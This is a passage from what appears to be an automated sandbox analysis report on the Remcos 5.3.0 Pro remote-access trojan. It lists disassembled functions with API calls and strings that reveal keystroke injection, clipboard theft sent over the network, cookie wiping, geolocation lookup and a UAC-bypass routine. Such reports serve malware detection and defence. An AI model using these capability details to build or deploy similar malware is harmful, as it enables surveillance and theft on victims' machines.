                                                                                      • Part of subcall function 00412584: RegQueryValueExW.ADVAPI32(?,0040E0BA,00000000,00000000,?,00000400), ref: 004125C5
                                                                                      • Part of subcall function 00412584: RegCloseKey.ADVAPI32(?), ref: 004125CE
                                                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                    • _wcslen.LIBCMT ref: 0041A8F6
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                                                    • String ID: .exe$:@$XCG$http\shell\open\command$program files (x86)\$program files\
                                                                                    • API String ID: 37874593-703403762
                                                                                    • Opcode ID: aa5f3d36ce9772210bd4ab0c541c77e8bdbd068386b6e6afd822d477f8b40dee
                                                                                    • Instruction ID: cf464564bb47d370653928ac6653466accee15d45f6204cdc17a1bec324f9b19
                                                                                    • Opcode Fuzzy Hash: aa5f3d36ce9772210bd4ab0c541c77e8bdbd068386b6e6afd822d477f8b40dee
                                                                                    • Instruction Fuzzy Hash: 3021B8727001043BDB04BAB58C96DEE366D9B85358F14083FF402F72C2ED3C9D5942A9
                                                                                    Function 00418ABE Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SendInput.USER32 ref: 00418B08
                                                                                    • SendInput.USER32(00000001,?,0000001C), ref: 00418B30
                                                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B57
                                                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B75
                                                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B95
                                                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BBA
                                                                                    • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BDC
                                                                                    • SendInput.USER32(00000001,?,0000001C), ref: 00418BFF
                                                                                      • Part of subcall function 00418AB1: MapVirtualKeyA.USER32 ref: 00418AB7
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InputSend$Virtual
                                                                                    • String ID:
                                                                                    • API String ID: 1167301434-0
                                                                                    • Opcode ID: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                                                    • Instruction ID: ee8b26819532887277ba411a2a2a0296f2420856d0f10470abe43a11d9a37015
                                                                                    • Opcode Fuzzy Hash: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                                                    • Instruction Fuzzy Hash: 3231A471248345AAE210DF65D841FDFFBECAFC5B44F04080FB98457291DAA4D98C87AB
                                                                                    Function 00415A45 Relevance: 12.0, APIs: 8, Instructions: 46clipboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenClipboard.USER32 ref: 00415A46
                                                                                    • EmptyClipboard.USER32 ref: 00415A54
                                                                                    • CloseClipboard.USER32 ref: 00415A5A
                                                                                    • OpenClipboard.USER32 ref: 00415A61
                                                                                    • GetClipboardData.USER32 ref: 00415A71
                                                                                    • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                                                    • CloseClipboard.USER32 ref: 00415A89
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                    • String ID:
                                                                                    • API String ID: 2172192267-0
                                                                                    • Opcode ID: 1cf21b3c78c89055b472f434a5839017756ad295560214288860051956d88cc3
                                                                                    • Instruction ID: 9b100a12d13cc6c4196ee8fc3e520842cce62831b2d72284ea91ff5550736cd9
                                                                                    • Opcode Fuzzy Hash: 1cf21b3c78c89055b472f434a5839017756ad295560214288860051956d88cc3
                                                                                    • Instruction Fuzzy Hash: A10152312083009FC314BB75EC5AAEE77A5AFC0762F41457EFD06861A2DF38C845D65A
                                                                                    Function 00447E3A Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 00447EBC
                                                                                    • _free.LIBCMT ref: 00447EE0
                                                                                    • _free.LIBCMT ref: 00448067
                                                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                                                    • _free.LIBCMT ref: 00448233
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                    • String ID:
                                                                                    • API String ID: 314583886-0
                                                                                    • Opcode ID: 15f6b1feb3d3775b51f59aeb9f2b7affb26a76ec7276939fd337acb65b8e2728
                                                                                    • Instruction ID: d74e55ca02e924b9256a88f94e7be2aa31ce1fd8fbfcff02d88bcfbefc6cbd9d
                                                                                    • Opcode Fuzzy Hash: 15f6b1feb3d3775b51f59aeb9f2b7affb26a76ec7276939fd337acb65b8e2728
                                                                                    • Instruction Fuzzy Hash: 32C12871904205ABFB24DF799C41AAE7BB8EF46314F2441AFE484A7351EB388E47C758
                                                                                    Function 0044F806 Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 6e270e3566a57228008d5882711c0e5bb0e0dd5acca1278b8e6f8f313ed3fb9f
                                                                                    • Instruction ID: 5fecc71d39e6a90402c47f7728bb4f6831cdfeb90858b0dfc168023e2edb8b83
                                                                                    • Opcode Fuzzy Hash: 6e270e3566a57228008d5882711c0e5bb0e0dd5acca1278b8e6f8f313ed3fb9f
                                                                                    • Instruction Fuzzy Hash: 2361BFB1900205AFEB20DF69C841BAABBF4EB45720F24417BE944FB392E7349D45CB59
                                                                                    Function 00443F7B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    • _free.LIBCMT ref: 00444086
                                                                                    • _free.LIBCMT ref: 0044409D
                                                                                    • _free.LIBCMT ref: 004440BC
                                                                                    • _free.LIBCMT ref: 004440D7
                                                                                    • _free.LIBCMT ref: 004440EE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$AllocateHeap
                                                                                    • String ID: J7D
                                                                                    • API String ID: 3033488037-1677391033
                                                                                    • Opcode ID: 7bd75c35ecc30b271b00b77e92f4063212cf76abbfff81b413b55d476d69b5fb
                                                                                    • Instruction ID: b5a2c1f2d034459fb850ff781f480331835685433a1d37f27cfcf8091ebf3f31
                                                                                    • Opcode Fuzzy Hash: 7bd75c35ecc30b271b00b77e92f4063212cf76abbfff81b413b55d476d69b5fb
                                                                                    • Instruction Fuzzy Hash: 9251E371A00604AFEB20DF6AC841B6AB3F4EF95724F14416EE909D7251E739ED15CB88
                                                                                    Function 0044A0C3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetConsoleCP.KERNEL32 ref: 0044A105
                                                                                    • __fassign.LIBCMT ref: 0044A180
                                                                                    • __fassign.LIBCMT ref: 0044A19B
                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0044A1C1
                                                                                    • WriteFile.KERNEL32(?,00000000,00000000,0044A838,00000000), ref: 0044A1E0
                                                                                    • WriteFile.KERNEL32(?,?,00000001,0044A838,00000000), ref: 0044A219
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                    • String ID:
                                                                                    • API String ID: 1324828854-0
                                                                                    • Opcode ID: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                                                    • Instruction ID: b40464c9ec282996611fef5cbd20273031f87559cdf671a411eba52403cbf28d
                                                                                    • Opcode Fuzzy Hash: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                                                    • Instruction Fuzzy Hash: DB51E270E002099FEB10CFA8D881AEEBBF8FF09300F14416BE815E3391D6749951CB6A
                                                                                    Function 004559CA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: HE$HE
                                                                                    • API String ID: 269201875-1978648262
                                                                                    • Opcode ID: be36c282a63d03c20bc32278ff653e2fb99f791dd32da19cc4c4d74979feac0c
                                                                                    • Instruction ID: 4134de32792d44acead4bb36f8da9b5b282593f8ffe10db144b1eaf4d9577b64
                                                                                    • Opcode Fuzzy Hash: be36c282a63d03c20bc32278ff653e2fb99f791dd32da19cc4c4d74979feac0c
                                                                                    • Instruction Fuzzy Hash: 90412A31A009106BEF24AABA8CD5A7F3B64DF45375F14031BFC1896293D67C8C4996AA
                                                                                    Function 00412C88 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExW.ADVAPI32 ref: 00412CC1
                                                                                      • Part of subcall function 004129AA: RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                                                      • Part of subcall function 004129AA: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00412A4C
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    • RegCloseKey.ADVAPI32(TUFTUF), ref: 00412E31
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEnumInfoOpenQuerysend
                                                                                    • String ID: TUFTUF$>G$DG$DG
                                                                                    • API String ID: 3114080316-344394840
                                                                                    • Opcode ID: c7cce5a43e59f7109602142759317d9a4d8e8edd62c58d414e8fa74cc875f135
                                                                                    • Instruction ID: 92049c6ae7fba3f13a57cd60a3827c89810429dfa6cf24b756c0ab1f01d338b1
                                                                                    • Opcode Fuzzy Hash: c7cce5a43e59f7109602142759317d9a4d8e8edd62c58d414e8fa74cc875f135
                                                                                    • Instruction Fuzzy Hash: 0141A2316042009BC224F635D9A2AEF7394AFD0708F50843FF94A671E2EF7C5D4986AE
                                                                                    Function 00437A80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00437AAB
                                                                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 00437AB3
                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00437B41
                                                                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 00437B6C
                                                                                    • _ValidateLocalCookies.LIBCMT ref: 00437BC1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                    • String ID: csm
                                                                                    • API String ID: 1170836740-1018135373
                                                                                    • Opcode ID: a717e1e029c36c18052b78818950a58a3847fd0af0d72a643a188b4f53f37093
                                                                                    • Instruction ID: 9404c61c081bc4e6da2099be8a52027e1297fde76841380def533d3eaa533744
                                                                                    • Opcode Fuzzy Hash: a717e1e029c36c18052b78818950a58a3847fd0af0d72a643a188b4f53f37093
                                                                                    • Instruction Fuzzy Hash: CD410970A04209DBCF20EF19C844A9FBBB5AF0932CF14915BE8556B392D739EE05CB95
                                                                                    Function 0040B6EA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00412513: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                                                      • Part of subcall function 00412513: RegQueryValueExA.KERNEL32 ref: 00412554
                                                                                      • Part of subcall function 00412513: RegCloseKey.KERNEL32(?), ref: 0041255F
                                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040B76C
                                                                                    • PathFileExistsA.SHLWAPI(?), ref: 0040B779
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                    • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                    • API String ID: 1133728706-4073444585
                                                                                    • Opcode ID: 79a12da11b2dde68e9b092c8ef21b3ed253010186a8767424e54e15229b996b4
                                                                                    • Instruction ID: d844a8c095f6bc09782a4352348c5dfd082864f820bca84d12e352ec49be167e
                                                                                    • Opcode Fuzzy Hash: 79a12da11b2dde68e9b092c8ef21b3ed253010186a8767424e54e15229b996b4
                                                                                    • Instruction Fuzzy Hash: 5F216D71A00109A6CB04F7B2DCA69EE7764AE95318F40013FE902771D2EB7C9A49C6DE
                                                                                    Function 00455903 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ac8429af2de8aec4c7be5426e4bb47fdde12a831901fd5511e93482c0d59407e
                                                                                    • Instruction ID: 969edc756a0dffe936139f0dc9bce31aed38431af2e56c5058bd22e5c2f4fad6
                                                                                    • Opcode Fuzzy Hash: ac8429af2de8aec4c7be5426e4bb47fdde12a831901fd5511e93482c0d59407e
                                                                                    • Instruction Fuzzy Hash: 991124B1508654FBDB202F769C4493B3B6CEF82376B10016FFC15D7242DA7C8805C2AA
                                                                                    Function 0040FBEF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040FBFC
                                                                                    • int.LIBCPMT ref: 0040FC0F
                                                                                      • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                                                      • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                                                    • std::_Facet_Register.LIBCPMT ref: 0040FC4B
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FC71
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FC8D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                    • String ID: P[G
                                                                                    • API String ID: 2536120697-571123470
                                                                                    • Opcode ID: 080c8d6f573d4b518caf4e655f0fcc3a1f7fca7e624085fd0a478c15266a48d0
                                                                                    • Instruction ID: a46b155a0a589d4ea75c4983af6a631921b9d9812a15003568faaf62f6f01cf1
                                                                                    • Opcode Fuzzy Hash: 080c8d6f573d4b518caf4e655f0fcc3a1f7fca7e624085fd0a478c15266a48d0
                                                                                    • Instruction Fuzzy Hash: 7611F331904518A7CB14FBA5D8469DEB7689E44358B20007BF905B72C1EB7CAE45C79D
                                                                                    Function 0041A51B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68networkfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041A53E
                                                                                    • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041A554
                                                                                    • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041A56D
                                                                                    • InternetCloseHandle.WININET(00000000), ref: 0041A5B3
                                                                                    • InternetCloseHandle.WININET(00000000), ref: 0041A5B6
                                                                                    Strings
                                                                                    • http://geoplugin.net/json.gp, xrefs: 0041A54E
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Internet$CloseHandleOpen$FileRead
                                                                                    • String ID: http://geoplugin.net/json.gp
                                                                                    • API String ID: 3121278467-91888290
                                                                                    • Opcode ID: b95c372e3ac4b4d5e2f875a7340fc2b919e98dea1ceb1dca6ed59b936bdcbc41
                                                                                    • Instruction ID: 402fbdb1aff19a1981f8347c65821a4f206ec005c70a85ea4635686413b1fe25
                                                                                    • Opcode Fuzzy Hash: b95c372e3ac4b4d5e2f875a7340fc2b919e98dea1ceb1dca6ed59b936bdcbc41
                                                                                    • Instruction Fuzzy Hash: 2711C87110A3126BD214AA169C45DBF7FDCEF46365F00053EF905D2191DB689C48C6B6
                                                                                    Function 0044FCDB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0044FA22: _free.LIBCMT ref: 0044FA4B
                                                                                    • _free.LIBCMT ref: 0044FD29
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 0044FD34
                                                                                    • _free.LIBCMT ref: 0044FD3F
                                                                                    • _free.LIBCMT ref: 0044FD93
                                                                                    • _free.LIBCMT ref: 0044FD9E
                                                                                    • _free.LIBCMT ref: 0044FDA9
                                                                                    • _free.LIBCMT ref: 0044FDB4
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                    • Instruction ID: b6f47af98b99390d2ca34363280ce03bc5e4d1be0f6c4f29549f69d6ae0d3a9a
                                                                                    • Opcode Fuzzy Hash: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                                                    • Instruction Fuzzy Hash: 5F119031711B04B6F520FBB2CC07FCBB7DC9F42308F814C2EB29E76152E628A9184645
                                                                                    Function 00406815 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CoInitializeEx.OLE32(00000000,00000002), ref: 00406835
                                                                                      • Part of subcall function 00406764: _wcslen.LIBCMT ref: 00406788
                                                                                      • Part of subcall function 00406764: CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                                                    • CoUninitialize.OLE32 ref: 0040688E
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InitializeObjectUninitialize_wcslen
                                                                                    • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                    • API String ID: 3851391207-2637227304
                                                                                    • Opcode ID: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                                                    • Instruction ID: 622c6236034ee416db36617ed9a374104512909f75adacabffe0517dc70a223e
                                                                                    • Opcode Fuzzy Hash: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                                                    • Instruction Fuzzy Hash: A501C0722013106FE2287B11DC0EF3B2658DB4176AF22413FF946A71C1EAA9AC104669
                                                                                    Function 0040FED2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040FEDF
                                                                                    • int.LIBCPMT ref: 0040FEF2
                                                                                      • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                                                      • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                                                    • std::_Facet_Register.LIBCPMT ref: 0040FF2E
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FF54
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FF70
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                    • String ID: H]G
                                                                                    • API String ID: 2536120697-1717957184
                                                                                    • Opcode ID: 4f42b0104d3fab8d9c54d588918312ac25f5cdf33bdc383dd9a32706d08bdfcf
                                                                                    • Instruction ID: c39742161ac3258eace465d30f2780732a1ff9819e97f4bd037edafe9ec39b9f
                                                                                    • Opcode Fuzzy Hash: 4f42b0104d3fab8d9c54d588918312ac25f5cdf33bdc383dd9a32706d08bdfcf
                                                                                    • Instruction Fuzzy Hash: 9011BF31900419ABCB24FBA5C8468DDB7799F95318B20007FF505B72C1EB78AF09C799
                                                                                    Function 0040B2A8 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040B2E4
                                                                                    • GetLastError.KERNEL32 ref: 0040B2EE
                                                                                    Strings
                                                                                    • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040B2AF
                                                                                    • [Chrome Cookies not found], xrefs: 0040B308
                                                                                    • [Chrome Cookies found, cleared!], xrefs: 0040B314
                                                                                    • UserProfile, xrefs: 0040B2B4
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteErrorFileLast
                                                                                    • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                    • API String ID: 2018770650-304995407
                                                                                    • Opcode ID: ec592ed9ccf4b9a5ae27431b7db5c03baafcaff9f2a5fd094053063a907b4898
                                                                                    • Instruction ID: 647c9f6895dd19beb09db90be4e639f81332b1b521455d1adc7a9c6a9ee315b4
                                                                                    • Opcode Fuzzy Hash: ec592ed9ccf4b9a5ae27431b7db5c03baafcaff9f2a5fd094053063a907b4898
                                                                                    • Instruction Fuzzy Hash: 3301A23164410557CB047BB5DD6B8AF3624ED50708F60013FF802B32E2FE3A9A0586CE
                                                                                    Function 0041BEB0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • AllocConsole.KERNEL32 ref: 0041BEB9
                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 0041BED2
                                                                                    • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041BEF7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Console$AllocOutputShowWindow
                                                                                    • String ID: Remcos v$5.3.0 Pro$CONOUT$
                                                                                    • API String ID: 2425139147-2527699604
                                                                                    • Opcode ID: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                                                    • Instruction ID: 482f1cdaf256b8236abc94a0b12de3dc55517b66349f776fa4240982defd8f75
                                                                                    • Opcode Fuzzy Hash: 665a097808b038229c9a37eafed355beb7ea993dcaa7ec452e19bba1328996a1
                                                                                    • Instruction Fuzzy Hash: 180171B19803047BD600FBF29D4BFDD37AC9B14705F5004277644E7093EABCA554866D
                                                                                    Function 004064D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
